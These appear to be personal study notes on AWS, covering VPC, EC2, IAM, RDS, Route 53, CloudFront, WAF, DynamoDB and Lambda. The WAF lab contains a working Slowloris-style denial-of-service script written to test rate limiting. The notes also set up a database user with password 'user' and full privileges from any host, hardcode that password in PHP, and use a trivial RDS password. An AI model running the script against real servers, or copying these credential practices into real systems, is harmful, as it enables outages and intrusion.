Reference: https://docs.aws.amazon.com/ [TOC] ###### `cloud` `aws` # Basis Concept ## Service Mode ![](https://hackmd.io/_uploads/ryTD2z1An.png) ### Software As a Service (Level : High) Cloud providers offer application or software that client can use, similar to a web server. There can be accessed via cloud-base environment. ### Platform as a Server (Level : Medium) The Cloud provider give the ability to the customer to deploy customer create app suing programming language, tools!! ### Infrastructure as a Server (Level: Low) Provide virtualized computing resource over the internet. !!! ![](https://hackmd.io/_uploads/BygYVQ1Rn.png) ## Deployment Mode ### Public Cloud ![](https://hackmd.io/_uploads/By15BXJRh.png) Easy and cost-effective setup The client can access the machine via the internet. ### Private Cloud ![](https://hackmd.io/_uploads/rk-JDD1Ch.png) Machines were behind firewall It'll was protected by the firewall ### Hybrid Cloud ![](https://hackmd.io/_uploads/HkTXPm1C2.png) Public cloud + Private cloud + on-premise server + third part Note: On Premise Server 就地部署的軟件 ## AWS - Architecture ### AWS Global Infrastructure ![](https://hackmd.io/_uploads/Skjmpwk0h.png) Amazon Infrastructure is divided into two categories. ### Regions Regions -> geographic Location e.g. TW, USA , JP, China, Hong Kong ### Available Zone Available Zone -> "Data Center" ## AWS Network Network Architecture ![圖片](https://hackmd.io/_uploads/HJt1XkP86.png) ### Hybrid Connectivity When workloads are distributed between AWS and a local host, it is referred to as hybrid connectivity. ### Site to Site VPN (AWS connection to the local host) AWS supports site-to-site VPN connections: VGW <--- IPSec Tunnel (2) ---> CGW All traffic is encrypted using the IPSec protocol. ![](https://hackmd.io/_uploads/ryBxixNl6.png) ### Direct Connectivity AWS direct connectivity provides load balancing and bandwidth ranging from 1 to 10 Gbps. ![](https://hackmd.io/_uploads/HkhLilVxa.png) ### AWS VPC <-> Remote Host (only one VPC) ![](https://hackmd.io/_uploads/BJ9rTlNeT.png) ### VPC to VPC AWS Backbone Network ![](https://hackmd.io/_uploads/rJ09AlEe6.png) ### Transit Gateway ![](https://hackmd.io/_uploads/By0NkZVxT.png) ### VPC endpoint Services EC2 Access the s3 bucket(internet) When accessing S3 buckets or dynamic databases within a Virtual Private Cloud (VPC), traffic usually needs to pass through a Network Address Translation (NAT) gateway and an Internet Gateway. ![](https://hackmd.io/_uploads/ry2pJWVgp.png) We can use AWS-provided VPC endpoints to access these services without the need for a NAT gateway or Internet Gateway. ![](https://hackmd.io/_uploads/rybqb-NlT.png) ### VPC endpoint interface VPC Endpoint Interface can be used to connect servers(non-AWS services) within the private network. ==ENI== Elastic Network Interface (ENI) - VPC Endpoint Interface ![](https://hackmd.io/_uploads/H1WQSbNga.png) ### Private Link Service (VPC) <--- Peer Connect (Private Link) ---> VPC ![](https://hackmd.io/_uploads/rJm-H-Vxp.png) ### router53 AWS DNS service. We can configure Route 53 like this: ``` example.com -> 53.44.32.23(load balancer IP address) ``` ![](https://hackmd.io/_uploads/S1UttWVla.png) ### CloudFront Aws CDN service ![](https://hackmd.io/_uploads/HyF1cb4eT.png) ## AWS Elastic computing cloud (EC2) ### Instance ![圖片.png](https://hackmd.io/_uploads/r1UBWOyQp.png) #### Amazon Machine Image (AMI) Preconfigured templates for instances. ![](https://hackmd.io/_uploads/ryaZYbv16.png) #### Key pairs #### Instance Store Volumes (In Instance) Volumes for storing data for instances that are stopped or terminated. #### Elastic Block Store (EBS) ![](https://hackmd.io/_uploads/SJNviEegp.png) Elastic Block Store (EBS) provides persistent storage and backup capabilities in different Availability Zones. #### Security groups Security group is virtual firewall use to control the inbound and outbound traffic on the instance. #### Elastic IP Address Static IPv4 #### Tag Tag is metadata. (Key value) ![圖片.png](https://hackmd.io/_uploads/Hkaxw5176.png) #### Elastic network interface (ENI) ENI is a network interface that can bind the public IP address to access the Internet. ![](https://hackmd.io/_uploads/rkBjqEexp.png) ### EBS (Elastic Block Service) #### Create Volumes ![圖片](https://hackmd.io/_uploads/H1s4mk-Ep.png) ![圖片](https://hackmd.io/_uploads/BJ0B7y-Ep.png) #### Setting Volumes ![圖片](https://hackmd.io/_uploads/BkK3m1bNa.png) ![圖片](https://hackmd.io/_uploads/rJyRmyZ4T.png) ![圖片](https://hackmd.io/_uploads/SkSJVybNp.png) ![圖片](https://hackmd.io/_uploads/B1C841W46.png) #### Attach Volume to Instance ![圖片](https://hackmd.io/_uploads/Skw34k-NT.png) ![圖片](https://hackmd.io/_uploads/SyeA41ZVa.png) ![圖片](https://hackmd.io/_uploads/Hk38ByZEa.png) #### Disk Partition ``` sudo mkfs -t xfs /dev/xvdf ``` ![圖片](https://hackmd.io/_uploads/SkosBJ-ET.png) ``` mkdir /ebsData mount /dev/xvdf /ebsdata lsblk ``` ![圖片](https://hackmd.io/_uploads/rk6sDfvL6.png) #### Delete EBS & Detach umount ``` umount /ebsData ``` ![圖片](https://hackmd.io/_uploads/HkSn81-V6.png) ![圖片](https://hackmd.io/_uploads/ByQCUJWV6.png) ![圖片](https://hackmd.io/_uploads/BJf6P1bN6.png) #### Transfer EBS to Another Instance ![圖片](https://hackmd.io/_uploads/H13f_kW4a.png) ``` [root@ip-10-10-0-88 ec2-user]# mkdir /ebsData2 [root@ip-10-10-0-88 ec2-user]# mount /dev/xvdf /ebsData2 [root@ip-10-10-0-88 ec2-user]# cd /ebsData2/ ``` ![圖片](https://hackmd.io/_uploads/S102O1bEa.png) ### Elastic ip Address EIP ![圖片](https://hackmd.io/_uploads/HJcBo1-NT.png) ![圖片](https://hackmd.io/_uploads/S1vdsJZVT.png) ![圖片](https://hackmd.io/_uploads/HJC9oybVT.png) ![圖片](https://hackmd.io/_uploads/Hk4ajybE6.png) ![圖片](https://hackmd.io/_uploads/r188pJZNT.png) ## AWS IAM identity and Access Management. https://www.youtube.com/watch?v=PjKvwxTTSUk&list=PLzde74P_a04cKnuXyi--fkIoY1sxztyqL - User - group - role - policy Policy define the permission for identity or resource they are associated with. Those policies can be assign to the group the policy with the group, and user within those group inherit the permission defined by the policy. ![](https://hackmd.io/_uploads/SJnFdWtla.png) ### User ![](https://hackmd.io/_uploads/r1fT5ZteT.png) Account ID: 625148252389 (Unique) MFA - Multi Factor Authentication ### Group ![](https://hackmd.io/_uploads/ry45TfFep.png) ### Role ![](https://hackmd.io/_uploads/HJaBAGKgT.png) Rolue are assume by the device, service, application And these entity can the operate as IAM user to access the AWS resource ### policy (JSON) ![](https://hackmd.io/_uploads/HJTPx7YeT.png) ### Organization ![](https://hackmd.io/_uploads/ByBzNQVxT.png) ![](https://hackmd.io/_uploads/Skm9rQExp.png) SCP(service control policy) https://docs.aws.amazon.com/cli/latest/userguide/getting-started-prereqs.html # Creating VPC (Virtual Private Network) ==Topology== ![](https://hackmd.io/_uploads/HJ4MlffMa.png) When we create VPC , we need to specify the IPV4 CIDR(IPV6 options) Each available zone corresponds to one subnet. Creating a Virtual Private Network(VPC) ## Setting IPv4 CIDR block Classless Inter-Domain Routing (CIDR) notation ![圖片.png](https://hackmd.io/_uploads/SkaMQik76.png) >Important Some AWS services use the `172.17.0.0/16` CIDR range. To avoid future conflicts, don’t use this range when creating your VPC. Default Amazon VPC ![](https://hackmd.io/_uploads/HyqQhbwk6.png) ![](https://hackmd.io/_uploads/H1uk3E-fp.png) ## Creating a Public Subnet: ![](https://hackmd.io/_uploads/By_baVZza.png) ![](https://hackmd.io/_uploads/SktXySbMT.png) ### Auto-Assign Public IP ![](https://hackmd.io/_uploads/rJmiNI-za.png) ![](https://hackmd.io/_uploads/SyLAVU-za.png) ## Creating a Private Subnet ![](https://hackmd.io/_uploads/B1zagSbGT.png) ## VPC NACL(Network Access control list)(Not require!!) ![](https://hackmd.io/_uploads/H1NWd4gep.png) It protect the subnet network, they are stateless and perform check for both inbound and outbound traffic ![圖片.png](https://hackmd.io/_uploads/rJq3Po1Q6.png) ## Internet Gateway Configuration and Attachment ![](https://hackmd.io/_uploads/SJYHbBWMa.png) ### Attach Internet Gateway to VPC ![](https://hackmd.io/_uploads/S1V5-rZfa.png) ![](https://hackmd.io/_uploads/r17RWB-zT.png) ## Routing Table VPC CIDR IPv4 10.10.0.0/16 Public Subnet: 10.10.0.0/24 Private: Ec2 1: 10.10.0.10/24 Public Subnet:10.10.1.0/24 DB 10.10.1.10/24 ### Public Subnet Routing Table Configuration ==VPC main Routing Table==(Not require!!) Destination -> 10.10.0/24 forward to Local ==Public Subnet Routing Table== Destination -> 10.10.0.0/16 forward to Local (EC2 communication) Destination -> 0.0.0.0/0 forward to IGW ![](https://hackmd.io/_uploads/rkfvXHWM6.png) ![](https://hackmd.io/_uploads/SyunmBbGp.png) ![](https://hackmd.io/_uploads/SkOR7SbfT.png) ### Associating Routing table with Subnet ![](https://hackmd.io/_uploads/ryN2NHZMT.png) ![](https://hackmd.io/_uploads/rylitpSbfT.png) --- ## New an EC2 instance in a public subnet ### AWS Linux(public SubNET) ![](https://hackmd.io/_uploads/r17iJIbGp.png) ### AMS Linux (private subNET) ### Network Configuration ![](https://hackmd.io/_uploads/ryHBPI-Mp.png) ## To upload an access key for logging into a private host Upload Access key ``` scp -i meowheckerKey2.pem meowheckerKey2.pem ec2-user@54.174.144.134:/tmp ``` Prepare to login~ ``` [ec2-user@ip-10-10-0-30 ~]$ cd /tmp [ec2-user@ip-10-10-0-30 tmp]$ sudo -s [root@ip-10-10-0-30 tmp]# mv meowheckerKey2.pem /home/ec2-user/ [root@ip-10-10-0-30 ~]# cd /home/ec2-user/ [root@ip-10-10-0-30 ec2-user]# chmod 400 meowheckerKey2.pem ``` ### Login to the Private Host ``` [root@ip-10-10-0-30 ec2-user]# ssh -i meowheckerKey2.pem ec2-user@10.10.1.19 ``` ![](https://hackmd.io/_uploads/S1GbUvbGT.png) ## Private host connect to the internet. ### Create NAT GAT way on public subnet Allocate an Elastic IP Address FOR NAT ![](https://hackmd.io/_uploads/Byi6Vubz6.png) ### Configure Route Table for Private Subnet ==Private Subnet Routing Table== Destination -> 10.10.0/24 forward to Local Destination -> 0.0.0.0/0 forward to NAT device (Source NAT) ![](https://hackmd.io/_uploads/SJ9wBuWMp.png) ![](https://hackmd.io/_uploads/SycTBOZfa.png) ### Association a private route table with a private subnet ![](https://hackmd.io/_uploads/BJfSUdbMp.png) ![](https://hackmd.io/_uploads/rkT9LdWzT.png) NAT allows instances in a private subnet to access the internet by using their private IP addresse ![](https://hackmd.io/_uploads/SkJEwdWz6.png) ## Database Establish ![](https://hackmd.io/_uploads/SJuEHkhWp.png) ### Public Host Running the PHP Reference https://github.com/stereomp3/note/blob/main/linux/111semester01/13-.md#MYSQL PHP ``` sudo -s yum install php8.1 php8.1-fpm.x86_64 php8.1-mysqlnd.x86_64 -y systemctl restart httpd.service ``` http://----------/index.php ![圖片.png](https://hackmd.io/_uploads/SynH-TkmT.png) ![圖片.png](https://hackmd.io/_uploads/B1afA2k76.png) ### Install Maria DB in Private host Script ``` sudo -s dnf update dnf install mariadb105-server systemctl start mariadb systemctl enable mariadb mysql_secure_installation ``` ![圖片.png](https://hackmd.io/_uploads/H1Z3unJ7T.png) Private DB SQL Query ``` mysql -u root -p CREATE USER user@'%' IDENTIFIED BY 'user'; GRANT ALL PRIVILEGES ON * . * TO 'user'@'%'; FLUSH PRIVILEGES; ``` Creating New User:User ``` show databases; create database testdb; use testdb; create table addrbook(name varchar(50) not null, phone char(10)); insert into addrbook(name, phone) values ("tom", "0912123456"); insert into addrbook(name, phone) values ("mary", "0912123567"); ``` ``` select name,phone from addrbook; ``` ![圖片.png](https://hackmd.io/_uploads/BJM1vTJ76.png) ### Remote login (public Host Connect to Private) Install mysql ``` dnf update dnf install -y mariadb105-server ``` ``` mysql -u user -p -h 10.10.1.19 ``` ### Database .php ```php <?php $servername="10.10.1.19"; $username="user"; $password="user"; $dbname="testdb"; $conn = new mysqli($servername, $username, $password, $dbname); if($conn->connect_error){ die("connection failed: " . $conn->connect_error); } else{ echo "connect OK!" . "<br>"; } $sql="select name,phone from addrbook"; $result=$conn->query($sql); if($result->num_rows>0){ while($row=$result->fetch_assoc()){ echo "name: " . $row["name"] . "\tphone: " . $row["phone"] . "<br>"; } } else { echo "0 record"; } ?> ``` ![圖片.png](https://hackmd.io/_uploads/HJ8qFpkQT.png) ## Elastic Load Balance Establish (ELB) ![](https://hackmd.io/_uploads/rkrv_x3ba.png) ### Create Public subnet(Different AZ) ![圖片.png](https://hackmd.io/_uploads/rkJ_TpJXT.png) ![圖片.png](https://hackmd.io/_uploads/SkhM0T1mp.png) ![圖片.png](https://hackmd.io/_uploads/H1EBC61Qp.png) ### Auto assign Public IP ![圖片.png](https://hackmd.io/_uploads/HkSrk017T.png) ![圖片.png](https://hackmd.io/_uploads/ByyIkCkmp.png) ### Associating routing table with public2 ![圖片.png](https://hackmd.io/_uploads/H1MjRTk7p.png) ![圖片.png](https://hackmd.io/_uploads/BJqaC6k76.png) ### AMI (Amazon) COPY instance template ![圖片.png](https://hackmd.io/_uploads/ByCHe0kXp.png) ![圖片.png](https://hackmd.io/_uploads/rJFDgCyQT.png) ![圖片.png](https://hackmd.io/_uploads/SyPce0Jmp.png) ### Launch instance (Customer AMI) ![圖片.png](https://hackmd.io/_uploads/rkCMZ0yXa.png) ![圖片.png](https://hackmd.io/_uploads/Sk2NbRkX6.png) ![圖片.png](https://hackmd.io/_uploads/B1QtW0JmT.png) ### Testing Public2-1b -> Private Subnet-a ![圖片.png](https://hackmd.io/_uploads/BkYyfC1Xa.png) ![圖片.png](https://hackmd.io/_uploads/S16zMCkQT.png) ## Auto Scaling /Elastic -> Auto Scaling ![圖片.png](https://hackmd.io/_uploads/HyLQhmwm6.png) ![圖片.png](https://hackmd.io/_uploads/B1LGpmvXT.png) ### Create Launching Template ![圖片.png](https://hackmd.io/_uploads/HJLvpQPQp.png) ![圖片.png](https://hackmd.io/_uploads/SJd2pXw7p.png) ![圖片.png](https://hackmd.io/_uploads/HkkrCXPQp.png) ### Security Group(SG) ![圖片.png](https://hackmd.io/_uploads/ByPA07wmT.png) ![圖片.png](https://hackmd.io/_uploads/SkbLyNDXp.png) ### Launch Template ![圖片.png](https://hackmd.io/_uploads/SJEbFVvQa.png) ### Modify Template(New Version) ![圖片.png](https://hackmd.io/_uploads/Hksrf_w7p.png) ![圖片.png](https://hackmd.io/_uploads/BJ8LzdP7a.png) ### ASG-Network ![圖片.png](https://hackmd.io/_uploads/SkCI9VvXa.png) ### ASG-Group size ![圖片.png](https://hackmd.io/_uploads/ByHy7uPQT.png) ![圖片.png](https://hackmd.io/_uploads/ryB7QuDmp.png) ![圖片.png](https://hackmd.io/_uploads/HkjwmOw7p.png) ![圖片.png](https://hackmd.io/_uploads/HylsXOPXT.png) ### CPU-Stress LAB ![圖片.png](https://hackmd.io/_uploads/BkBcVuPmT.png) ![圖片.png](https://hackmd.io/_uploads/H1N2EOD76.png) ![圖片.png](https://hackmd.io/_uploads/HJ-GSODQT.png) ``` sudo stress --cup 4 ``` # Load Balancing (Target Group + Auto Scaling) ## Create Target Group ![圖片.png](https://hackmd.io/_uploads/S1YSFuvQT.png) ![圖片.png](https://hackmd.io/_uploads/Bk0nYuPXT.png) ![圖片.png](https://hackmd.io/_uploads/BkNS5_wm6.png) ![圖片.png](https://hackmd.io/_uploads/HyrPcuPma.png) ![圖片.png](https://hackmd.io/_uploads/rJM2sOw7p.png) ## Association Load Balance with Target group ![圖片.png](https://hackmd.io/_uploads/B1YX6_DQT.png) ![圖片.png](https://hackmd.io/_uploads/BJVhauvXp.png) ## Network Mapping ![圖片.png](https://hackmd.io/_uploads/SySz0uvXp.png) ## Security Group ![圖片.png](https://hackmd.io/_uploads/ry-UA_PQp.png) ## Listening and Routing ![圖片.png](https://hackmd.io/_uploads/Hy7KAdvXa.png) ## Result ![圖片.png](https://hackmd.io/_uploads/ryjwPFvma.png) ![圖片.png](https://hackmd.io/_uploads/HyzuwFwQa.png) /db.php ![圖片.png](https://hackmd.io/_uploads/HyFbqYD7p.png) ## Advance ALB with multi-target group ![圖片.png](https://hackmd.io/_uploads/ryK6vYPQ6.png) ![圖片.png](https://hackmd.io/_uploads/Sk-SuYv76.png) # Relational Database Service (RDS) 11/14 SaaS (Server as a Service ) It support MySQL, PostgreSQL, MariaDB, Oracle BYOL and SQL Server RDS Architecture ![圖片](https://hackmd.io/_uploads/SJu2TWw86.png) ## Create Database ![圖片](https://hackmd.io/_uploads/SkL9ECx4p.png) ## Chose DataBase Create Methods ![圖片](https://hackmd.io/_uploads/B1W4rAlNp.png) ## Select Database ![圖片](https://hackmd.io/_uploads/SJQWIRl4p.png) ![圖片](https://hackmd.io/_uploads/HJZm8RxEp.png) ![圖片](https://hackmd.io/_uploads/B1v5kzw86.png) ![圖片](https://hackmd.io/_uploads/rkuA8CeN6.png) Password :12345678 ![圖片](https://hackmd.io/_uploads/ryiLPAe4p.png) ![圖片](https://hackmd.io/_uploads/SJs5vCe4p.png) ![圖片](https://hackmd.io/_uploads/rJI1dCeNT.png) ``` mysql -u user -p -h mysqldb.cupibima65or.us-east-1.rds.amazonaws.com ``` ![圖片](https://hackmd.io/_uploads/HyPgsCe4p.png) ![圖片](https://hackmd.io/_uploads/B1U8jCgEa.png) ## Delete RDS ![圖片](https://hackmd.io/_uploads/BJsd-k-Na.png) ![圖片](https://hackmd.io/_uploads/H1E2Z1b4a.png) ![圖片](https://hackmd.io/_uploads/r1eRW1ZNT.png) ![圖片](https://hackmd.io/_uploads/BkGyzybNa.png) # AWS Command Line Interface Windows Download and run the AWS CLI MSI installer for Windows ``` msiexec.exe /i https://awscli.amazonaws.com/AWSCLIV2.msi ``` ![](https://hackmd.io/_uploads/SkvzM-0bp.png) We successfully install the AWS CLI !! ![](https://hackmd.io/_uploads/SyCCSW0bT.png) --- Amaza Elastic Container Registry Public (Amaza ECR Public) Running the AWS CLI2 on docker Using tAmaza ECR public to obtain the AWS CLI image ## Running the AWS CLI2 images The first time we run the docker run, it will automatically download the lastest image to computer. Each subsequent use of the `docker run` command runs from your local copy. ``` docker run --rm -it public.ecr.aws/aws-cli/aws-cli {cmd} ``` ![](https://hackmd.io/_uploads/rkrQ6bRb6.png) --rm : clean up the container after the command exits. -i : Open the container's stdin, Allowing us to use keybore input. -t : assgin the psedo-TTY (terminal)for interaction with container Typically, we combine them and use -it command - When running scripts, `-it` is not needed. - When trying to pipe output, `-it` might cause errors ## Update ``` docker pull public.ecr.aws/aws-cli/aws-cli:latest ``` ## Share file, credential , environment variable, and configuration with local host we can use mount to share file system, credentials, and configuration to container Container /root/.aws mount to Windows "C:\Users\USER\.aws、 ``` $env:userprofile ``` ![](https://hackmd.io/_uploads/SJV2ozAba.png) ![](https://hackmd.io/_uploads/HJgsizAWa.png) PowerShell ``` docker run --rm -it -v $env:userprofile\.aws:/root/.aws public.ecr.aws/aws-cli/aws-cli command ``` ## Providing credential and configuration (s3 skip) ## Downloading an Amazon S3 file to your host system (s3 skip) ## Short the docker run command Powershell ``` Function AWSCLI {docker run --rm -it public.ecr.aws/aws-cli/aws-cli $args} Set-Alias -Name aws -Value AWSCLI ``` aws -> 'docker run --rm -it public.ecr.aws/aws-cli/aws-cli $args' ![](https://hackmd.io/_uploads/S15tAfAWa.png) ### Access the local host file, configuration powershell ``` Function AWSCLI {docker run --rm -it -v $env:userprofile\.aws:/root/.aws -v $pwd\aws:/aws public.ecr.aws/aws-cli/aws-cli $args} Set-Alias -Name aws -Value AWSCLI ``` ### Specify version powershell ``` Function AWSCLI {docker run --rm -it -v $env:userprofile\.aws:/root/.aws -v $pwd\aws:/aws public.ecr.aws/aws-cli/aws-cli:2.0.6 $args} Set-Alias -Name aws -Value AWSCLI ``` --- # AWS CLI ## AWS CLI Configuration and AWS credentials setup (CLI) Reference: https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-sso.html we have to use token(Access Key) and secret key to login to access our AWS account IAM -> user ![](https://hackmd.io/_uploads/Hknqyogfp.png) Adding New User ![](https://hackmd.io/_uploads/SkhbxixGT.png) ![](https://hackmd.io/_uploads/r1WtxixGT.png) Set permission ![](https://hackmd.io/_uploads/BkVgZilM6.png) meowhecker -> admin permission Create the access key ![](https://hackmd.io/_uploads/H1ANGoeMa.png) ![](https://hackmd.io/_uploads/HJI0Vsgz6.png) format -> Using table fromat (like sql data present ) ## Auto prompt configuraiton inovke auto prompte in CLI ``` aws --cli-auto-prompt ``` ![](https://hackmd.io/_uploads/Sy7VCjeG6.png) ## Create DynomoDB Table with AWS CLI ### DynomoDB Overview DynomoDB DynomoDM is a NoSql DB NoSql data type - key value - fiel : json or object - graphic - memory - search ![](https://hackmd.io/_uploads/B1k4Fo![Uploading file..._ydw3fexr1]() xGT.png) ### Create DynomoDB table ``` aws dynamodb create-table --table-name meowTable --attribute-definitions AttributeName=name,AttributeType=S AttributeName=email,AttributeType=S --key-schema AttributeName=email,KeyType=HASH ``` --- # Route53 [Reference](https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/Tutorials.html) Amazon using Route53 as DNS server For Sub Create New Domain Domain ``` meowhecker.store ``` ## Migrate DNS service to Amazon Route 53 ### Create host zone ![圖片](https://hackmd.io/_uploads/H1zIGreua.png) ![圖片](https://hackmd.io/_uploads/H1So4rgdp.png) ![圖片](https://hackmd.io/_uploads/SkfAErxOT.png) Once we setting done, we will get Amazon Name server. ``` ns-351.awsdns-43.com ns-839.awsdns-40.net ns-2012.awsdns-59.co.uk ns-1375.awsdns-43.org ``` ### Setting DNS configuration Godady ![圖片](https://hackmd.io/_uploads/r13YmBe_6.png) ![圖片](https://hackmd.io/_uploads/BJ_-NHlOa.png) ![圖片](https://hackmd.io/_uploads/S1wbDHluT.png) ### Create Record & Routing traffic to EC2 instance Running public EC2 Instance Public IP 54.88.172.233 ![圖片](https://hackmd.io/_uploads/r1GcOSedp.png) ![圖片](https://hackmd.io/_uploads/BkakFSxuT.png) Creating a new hosted zone and changing records take time to propagate to the Route 53 DNS servers Result ![圖片](https://hackmd.io/_uploads/H1jBh8x_6.png) ## CORS Setting pass ## LAB-CNAME & S3 Bucket(Public) ![圖片](https://hackmd.io/_uploads/r1qH2eWup.png) ### Create Public bucket ![圖片](https://hackmd.io/_uploads/H1SjCgWd6.png) Bucket name have to match the domain name ##### Public Access Setting ![圖片](https://hackmd.io/_uploads/rJ4y1--OT.png) Go to Bucket permission and setting bucket Policy ![圖片](https://hackmd.io/_uploads/S10GJb-Op.png) ![圖片](https://hackmd.io/_uploads/r1RvkbWu6.png) ``` { "Version": "2012-10-17", "Statement": [ { "Sid": "PublicReadGetObject", "Effect": "Allow", "Principal": "*", "Action": "s3:GetObject", "Resource": "arn:aws:s3:::meowhecker.store/*" } ] } ``` ![圖片](https://hackmd.io/_uploads/ryU31ZZ_p.png) #### Upload index.html for testing ![圖片](https://hackmd.io/_uploads/BJbmS-Wdp.png) #### Static Website Routing ![圖片](https://hackmd.io/_uploads/S1uHBWWdT.png) ![圖片](https://hackmd.io/_uploads/ryI_SZbdT.png) ![圖片](https://hackmd.io/_uploads/ryLtSWZOa.png) ![圖片](https://hackmd.io/_uploads/r1X6HZW_p.png) #### Testing ![圖片](https://hackmd.io/_uploads/B1qRHbWOT.png) #### Creating Record ![圖片](https://hackmd.io/_uploads/BJExu-buT.png) #### Result ![圖片](https://hackmd.io/_uploads/r1gw_bbOp.png) # AWS Certificate Manager(ACM) Reference:https://docs.aws.amazon.com/acm/latest/userguide/acm-overview.html ACM support creating, store, and renewing public and private SSL/TLS X.509 certificate and keys. Aws offer two options to customer deployment X.509 certificate - ACM - AWS private CA Aws private CA offer the service for hosting the private CA. ## LAB-Deploy CA in Domain ### Request Certification ![圖片](https://hackmd.io/_uploads/HkJhtMZ_p.png) ![圖片](https://hackmd.io/_uploads/HkFk9MW_6.png) ### Adding Certificate Records ![圖片](https://hackmd.io/_uploads/ryHBgQ-O6.png) ![圖片](https://hackmd.io/_uploads/HyRremZOT.png) Certification: ---- # CloudFront ## LAB CloudFront + Certification + S3 bucket(private) 12/19 https://hackmd.io/SWtx2hQWRoqkj9ghzYrhqg ![圖片](https://hackmd.io/_uploads/ryvxINed6.png) ### Request Certification ![圖片](https://hackmd.io/_uploads/HyfwQ8ZuT.png) ### Create CloudFront ![圖片](https://hackmd.io/_uploads/BJ1pn4b_p.png) Specify the server that want to store Route53 ![圖片](https://hackmd.io/_uploads/H1JWCEZup.png) #### User Default Cache Behavior ![圖片](https://hackmd.io/_uploads/rkHORV-u6.png) #### Setting CA in cloudFront. ![圖片](https://hackmd.io/_uploads/SkFF7UbOT.png) Result ![圖片](https://hackmd.io/_uploads/B190QB-_T.png) #### Create CNAME ![圖片](https://hackmd.io/_uploads/SkKgfr-u6.png) Result: ![圖片](https://hackmd.io/_uploads/B1qyVLZ_T.png) #### Forbident Outside Access (Private Bucket!) ![圖片](https://hackmd.io/_uploads/Syakp8Z_T.png) ![圖片](https://hackmd.io/_uploads/ryRZoU-u6.png) ![圖片](https://hackmd.io/_uploads/By3z5UW_T.png) # AWS WAF ## LAB-CloudFront & WAF ![圖片](https://hackmd.io/_uploads/Hyim6U-_T.png) ### Create WAF ACL ![圖片](https://hackmd.io/_uploads/HJ1vaIbuT.png) ### Select Resource ![圖片](https://hackmd.io/_uploads/rJhKTLbuT.png) ![圖片](https://hackmd.io/_uploads/HJgpR6U-_6.png) ![圖片](https://hackmd.io/_uploads/SJZWMD-OT.png) ### Associate AWS Resource ![圖片](https://hackmd.io/_uploads/S1WhGDb_T.png) ### Add Rule ![圖片](https://hackmd.io/_uploads/HyF4XP-dT.png) #### Customer (Request Rate) ![圖片](https://hackmd.io/_uploads/H1mMNPZd6.png) ![圖片](https://hackmd.io/_uploads/HJvNNDW_T.png) ![圖片](https://hackmd.io/_uploads/rJL_Ew-da.png) Testing Script ```python= import time import platform import sys import ssl import socket targetIP = "127.0.0.1" targetPort= 80 targetHostName = None socketExistsList = [] #python Agent pythonVersion=sys.version.split()[0] osInfo = platform.system() pythonAgent = pythonVersion + osInfo def sendHttpEncoding(self,payload): self.send(payload.encode("utf-8")) setattr(socket.socket,'sendHttpEncoding', sendHttpEncoding) # Adding New Methods def CreaetingSocket(targetIP,targetPort): malSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) malSocket.settimeout(10) # if (target is https) # sslContext = ssl.create_default_context() # #Conifuger SSL # sslContext.verify_mode = ssl.CERT_NONE # Not attempt to verify the SSL certification # sslContext.check_hostname = False # Check the hostname whether match with CN (comment name) # # CN (Common Name) is a field that is part of the certificate's Subject field. # secureSocket = sslContext.wrap_socket(socket,server_hostname=hostame ) malSocket.connect((targetIP,targetPort)) #Construting HTTP packet requestLine = "GET / HTTP/1.1\r\n" #Header hostHeader = f"Host: {targetIP}\r\n" userAnget = f"User-Agent: {pythonAgent}\r\n" connection = "Connection: keep-alive\r\n" #lack \r\n\r\n (Exploit the vuln) malSocket.sendHttpEncoding(requestLine) malSocket.sendHttpEncoding(hostHeader) return malSocket def KeepAlive(): print("Keep-Alive /// . ///") print(f"The Number of Current Socekt:{len(socketExistsList)}" ) for malSocket in list(socketExistsList): try: malSocket.sendHttpEncoding("MeowHeader: A\r\n") except: socketExistsList.remove(malSocket) if __name__ == "__main__": for i in range(200): try: #Connetct to Target malSocket = CreaetingSocket(targetIP,targetPort) #print(malSocket) except Exception as e: print("Error",str(e)) break socketExistsList.append(malSocket) print(str(socketExistsList)) #Keep-Alive (Rrevent RST) while True: try: KeepAlive() except KeyboardInterrupt: print("OK, bye") break time.sleep(5) ``` AWS WAF will automatically block the attacker # DynamoDB () && Lambda NoSQL Database Note(MongoDB) https://hackmd.io/@meowhecker/B1AblAOf6 ## Collection & Document ![圖片](https://hackmd.io/_uploads/S1exp96wua.png) ![圖片](https://hackmd.io/_uploads/ry9AcawuT.png) - Collections (similar to tables) - Documents (similar to records) A document Like the record, with JSON form. Document allow to relate other documents, creating relationships between them. ## LAB-Establish NoSqlDB and using boto3 Access it ### Create Table(collection) & Setting ![圖片](https://hackmd.io/_uploads/rJxopTDOT.png) ![圖片](https://hackmd.io/_uploads/SJcfCaw_6.png) ### Inset (Document) into Table ![圖片](https://hackmd.io/_uploads/B1EF06P_p.png) Adding New Attribute ![圖片](https://hackmd.io/_uploads/S1xJy0D_a.png) ![圖片](https://hackmd.io/_uploads/H1EW1CvuT.png) ![圖片](https://hackmd.io/_uploads/ryOQ1Cv_T.png) ### Using Boto3 to Access the document ``` import boto3 import os os.environ['AWS_DEFAULT_REGION'] = 'us-east-1' # Collection Name _TableName_ = "user" client = boto3.client('dynamodb') DB = boto3.resource('dynamodb') table = DB.Table(_TableName_) #Fetch the specific item. response = table.get_item( Key={ 'name': "meowhecker" } ) response["Item"] print(response['Item']) ``` Checking AWS CLI is valid ![圖片](https://hackmd.io/_uploads/ByeUW0Du6.png) Fetch DB items ![圖片](https://hackmd.io/_uploads/Hy0tb0D_T.png) # AWS Lambda Running and Deploy code on AWS Three main service in the compute domain - EC2(aws infrastructure) IaaS - PaaS - Upload the code - Deploy code - AWS Lambda SaaS - upload the code - Deploy code - Testing code Lambda Functionality - File Process ![圖片](https://hackmd.io/_uploads/SynafCDO6.png) - Web Application ![圖片](https://hackmd.io/_uploads/Hkz-7CPdp.png) ## LAB-Using Lambda function Accesses DynamoDB ### Create Lambda Role For accessing the DB IAM (Create Role) ![圖片](https://hackmd.io/_uploads/BkzG4Rwua.png) ![圖片](https://hackmd.io/_uploads/BkZFN0w_T.png) ### Attaching Policies to Role Necessary Policy ``` AmazonDynamoDBFullAccess AWSLambdaVPCAccessExecutionRole AWSLambdaBasicExecutionRole AWSLambdaSQSQueueExecutionRole ``` ![圖片](https://hackmd.io/_uploads/S1okL0wO6.png) ### Create Lambda Function ![圖片](https://hackmd.io/_uploads/HyKuuRDda.png) ![圖片](https://hackmd.io/_uploads/BJd1wCPdT.png) Setting Function Role 